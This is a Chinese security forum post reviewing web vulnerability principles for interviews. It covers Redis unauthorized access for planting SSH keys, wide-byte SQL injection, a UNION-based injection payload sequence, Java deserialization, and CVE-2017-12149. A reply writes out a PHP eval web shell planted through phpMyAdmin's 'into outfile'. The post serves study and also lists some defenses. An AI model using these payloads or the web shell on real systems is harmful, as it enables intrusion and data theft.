首页
社区
课程
招聘
[原创]漏洞原理的梳理(不断更新中)
发表于: 2021-5-5 23:19 1812

[原创]漏洞原理的梳理(不断更新中)

2021-5-5 23:19
1812

今天是5月5日,劳动节即将结束,考虑到自己对web安全虽然懂一些,但是思路依然不够清晰,并且面试的时候,有些不知道怎么表达。故决定有时间就写一写,希望可以和大家一起学习,共同进步。

也希望大家可以积极留言,有什么好的想法,一起探讨。因为这方面涉及的内容较多,需要不断添加,欢迎大家发表意见。

CTF 工具下载资源库

漏洞原理:redis,俗称中间件,用于数据库、缓存和消息中间件,默认情况下,会绑定在6379端口。如果没有对其进行相关的策略,就会将redis服务暴漏在公网上。如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的i情况下未授权访问redis以及读取redis的数据。同理,可以通过redis提供的config命令,对文件进行写操作,将自己的公钥写入到目标服务器的、root/.ssh文件夹的authotrised_keys文件中,从而使用对应的私钥直接使用ssh服务登录目标服务器。(黑体部分,是redis漏洞成立的必须条件)

相关漏洞解析网站

附一张图片,证明可行:(左图是redis连接,并写入shell;右图是菜刀连接)


预防措施:

(1)默认只对本地开放,绑定IP

(2)添加登录密码

(3)修改对外开发的端口

(4)用低权限来运行redis服务

(5)采用防火墙iptable来配合,限制IP。



漏洞原理:宽字节注入源于程序员设置Mysql连接时错误配置为:set character_set_client=gbk。正常的情况下,当GPC开启或使用addslashes函数过滤Get和Post提交的参数时,会将'转义成’;但是如果存在宽字节注入,我们输入%df%27时,首先经过上面提到的单引号转义为%df%5c%27,然后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字“運”,而单引号逃逸了出来,从而造成了注入漏洞。

防御措施:

(1)使用mysql_set_charset(utf8)指定字符集。

(2)使用mysql_real_escape_string进行转义。

附一张图片,证明可行:


此外关于数据库注入,有一些其他疑问可以分享给大家:(其实是我之前遇到的一些面试题,当时突然遇到,自己没有讲明白)


如何判断自己入侵的数据库类型呢?

一般的sql注入的流程是什么,以mysql为例。

当我们的后台遭遇大规模的sql报警,该怎么办?

(1)sql注入是程序开发人员在开发过程中,编程不规范,没有过滤掉一些敏感字眼,从而导致用户通过一些不合法输入,欺骗服务器执行恶意的sql命令。具体的sql注入,可以分为这几种:布尔型注入、报错注入、延时注入、联合查询注入等。确定数据库类型,可以大大提升我们的办事效率。常遇到的数据库有:Oracle、 mysql、sql server、access、mongodb等。

判断方法:使用辅助的符号来判断,如注释符号/*和--+等;使用特定的函数来判断,比如len和length、version()和@@version;利用错误信息;数据库服务器的系统变量不同。

服务器类型分析

  (2)一般的sql注入流程是:

信息收集(nmap -T4 -A -v ip ),收集当前开放的端口;

找到注入页面,and 1=1和and 1=2验证存在sql注入;

order by 4,判断字段;id=-1 union select 1,2,3,4判断显错位;

union select 1,database(),3,4 判断数据库类型;

union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库' --+获取数据库的表名;

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='表名',获取字段;

union select 1,group_concat(user),3,4 from '表名',获取字段信息;

也可以利用sqlmap来实现上面的自动化注入。

sql注入的总结

(3)利用后渗透的思维,当服务器发起大量的sql注入的报警时,应该怎么做呢?

首先需要保证正常的业务,可以关闭一些不必要的应用,腾出资源,保证业务的正常进行。  一般情况下,CPU都有一个阈值,需要查看后台的数据包接受情况,确定是否存在丢包现象。查看日志和流量数据包,检查短时间内,数据包发送方及其发送次数,还有数据包的大概内容。对于可疑的IP,立即封禁,并在适当情况下,对其溯源。 检查防火墙以及查看攻击方常攻击的端口和服务,对于不必要的,建议关掉;然后将一些默认端口,改成其他的,并严格控制不能存在弱密码。对于一些关键核心业务,建议绑定IP,并降低权限运行,避免攻击方获取最高权限。

基础知识:序列化就是把对象转换成字节流,便于保存在内存、文件和数据库中;反序列化,就是逆过程,由字节流还原成对象。Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,ObjectInputStream类的readObject()方法用于反序列化。

漏洞原理:形成漏洞的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制。

CVE-2017-12149: 漏洞影响5.x和6.x版本的JBOSSAS。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2021-6-9 23:31 被奋进的小杨编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (1)
雪    币: 1859
活跃值: (2245)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
2

6.登录目标数据库phpmyadmin,写入shell


        操作原理:通过使用select...into outfile语句,将数据库表中的数据写入到一个文件中。说直白一点,就是直接将shell语句写入到文件中去。与之对应的一个语句是load data...intofile,一个是导入,一个是导出。

        番外:之前试图在数据库的表里写入shell,但是菜刀都是无法连接,后来以为是遇到了宝塔防火墙。现在想明白了,把shell写入数据库中,不知道确切的目录,并且网页浏览时还会自动转义,所以就不能连接。这里使用select...into outfile语句前,需要通过robots.txt或者phpinfo等来确定目录。如果还有不明白的,可以通过自己搭建一个漏洞环境来理解。

        (忘记截图了),就陈述一下过程。首先我获得了phpmyadmin的账户和密码并登录成功。然后在新窗口中,猜测目录,输入robots.txt,没有反应,又输入phpinfo.php也没有反应,但是我发现在输入IP时,跳出了WarpServer的主页,并找到了phpinfo页面。仔细查找看到了D://wamp/www/index.php路径。然后回到phpmyadmin中,在SQL语句里,写入select"<?php @eval($_POST['hc']);?>" into outfile "D://wamp/www/index2.php",运行即可。这里需要保证index2.php不存在,因为该语句会自己创建一个index2.php文件。最后菜刀连接即可。

2021-6-23 12:43
0
游客
登录 | 注册 方可回帖
返回
//